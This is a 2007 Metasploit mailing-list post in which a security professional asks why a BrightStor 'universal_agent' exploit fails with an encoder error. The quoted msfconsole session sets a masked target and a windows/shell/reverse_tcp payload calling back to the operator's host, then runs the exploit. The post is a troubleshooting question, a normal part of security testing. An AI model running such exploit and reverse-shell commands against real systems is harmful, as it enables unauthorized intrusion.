[framework] Question about a Brigthstore exploit

[FRANCIS PROVENCHER]

Hi all,
 
I'm trying to test the Brigthstore "Universal" exploit againt a target
that are vulnerable to this exploit;
 
here the error i received;
 
msf exploit(universal_agent) > set RHOST ******
RHOST => *******
msf exploit(universal_agent) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(universal_agent) > set LHOST *******
LHOST => ********
msf exploit(universal_agent) > show options
 
Module options:
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  *******     yes       The target address
   RPORT  6050             yes       The target port
 

Payload options:
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique: seh, thread,
process
   LHOST     **********    yes       The local address
   LPORT     4444             yes       The local port
 

Exploit target:
 
   Id  Name
   --  ----
   0   Magic Heap Target #1
 

msf exploit(universal_agent) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
 
What can cause this error? I never see it before.
 
Thanks all
 
Francis Provencher
Ministère de la Sécurité publique du Québec
Direction des technologies de l'information
Division de la sécurité informatique
Tél: 1 418 646-3258
Courriel:   Francis.provencher at Msp.gouv.qc.ca 
 
CEH - Certified Ethical Hackers
SSCP - System Security Certified Practitionner
Sec+ - Security +
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://spool.metasploit.com/pipermail/framework/attachments/20070913/781a161d/attachment.htm 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: FRANCIS PROVENCHER4.vcf
Url: http://spool.metasploit.com/pipermail/framework/attachments/20070913/781a161d/attachment.diff